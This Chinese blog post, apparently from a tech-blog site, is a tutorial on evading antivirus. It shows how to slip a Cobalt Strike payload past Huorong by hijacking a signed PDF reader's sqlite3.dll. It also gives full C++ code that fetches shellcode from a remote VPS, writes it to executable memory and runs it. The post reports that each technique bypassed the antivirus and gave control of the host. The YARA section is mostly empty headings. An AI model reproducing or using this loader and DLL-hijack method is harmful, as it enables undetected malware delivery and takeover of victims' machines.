0x01 杀软拦截检测规则引导-DLL劫持上线
准备工具
简单说明:
-
在火绒开启的时候,CS马会被杀。生成和准备执行时都会被杀(下图就是启动被杀)
-
考虑在开机启动项中添加一个恶意启动程序(1.exe),但是会因为1.exe程序没有签名而允许添加;故而cs马也不会被执行。
-
于是考虑添加一个有签名认证的程序(极速pdf.exe),通过dll劫持方式,使得在加载运行极速PDF的时候,执行恶意dll文件,绕过火绒,从而上线

复现:
通过cs生成一个payload

选择C和一个侦听器

生成一个paylaod.c文件(这是昨天生成的)

在vs2019中起一个项目,将payload.c中的信息复制粘贴过去


开始编辑:
接着开始运行,预期效果是,被火绒拦截不能上线,在关闭火绒的条件下生成成功,运行之后上线


接下来使用使用dll劫持工具,劫持极速pdf的sqlite3.dll

再接下来,依旧关闭火绒,在vs2019中生成一个dll文件;


默认创建就好;
用sqlite3.cpp的内容,覆盖掉dllmain.cpp文件,并且添加#include "pch.h"

然后在下边的入口点进行加载
选择realse模式,然后生成

将sqlite3.dll命名为sqliteOrg.dll,再将release中的dll1.dll重命名为sqlite3.dll

接着开启火绒

这一开火绒就把之前生成的那个预期上线的exe杀了;
返回cs,

点击极速pdf.exe

上线成功
总结:
0x02 yara规则匹配
工具准备
简单demo


总结
0x03 远程加载shellcodeBypass
简单说明
将shellcode放到服务器,通过socket,或者是windows库提供的http库下载下来,加载到内存中运行,将shellcode放到其他地方,可以绕过大部分杀软
复现
在DLL劫持的时候,生成了一个paylaod.c文件;将payload.c文件复制粘贴重命名为shellcode.c文件,并且,将shellcode.c文件中的除字符内容删除,如图:

将shellcode.c文件上传到vps中,确保能够访问

接下来在vs2019中起一个项目,将下列代码粘贴到源文件.cpp
#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib,"WinInet.lib")
char* GetUrlPage(const char* URL, const char* SubPath) {
HINTERNET hInternet, hConnect, hRequest = NULL;
DWORD dwOpenRequestFlags, dwRet = 0;
unsigned char* pResponseHeaderIInfo = NULL;
DWORD dwResponseHeaderIInfosize = 2048;
BYTE* pBuf = NULL;
DWORD dwBufSize = 64 * 2048;
hInternet = InternetOpenA("WinInerGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
hConnect = InternetConnectA(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL == hConnect)
return NULL;
dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;
hRequest = HttpOpenRequestA(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
HttpSendRequest(hRequest, NULL, 0, NULL, 0);
pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfosize];
RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfosize);
HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfosize, NULL);
pBuf = new BYTE[dwBufSize];
RtlZeroMemory(pBuf, dwBufSize);
InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
return(char*)pBuf;
}
void main() {
char* shellcode = GetUrlPage("vps_ip", "/shellcode.c");
printf("%s in", shellcode);
int shellcode_length = strlen(shellcode);
unsigned char* value = (unsigned char*)calloc(shellcode_length/2, sizeof(unsigned char));
for (size_t count = 0; count < shellcode_length/2; count++) {
sscanf_s(shellcode,"%2hhx",&value[count]);
shellcode += 2;
}
void* exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec,value,shellcode_length / 2);
((void(*)())exec)();
}

接着,针对生成的exe文件用火绒杀毒

双击exe文件,上线主机成功

总结
全篇总结
__EOF__
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)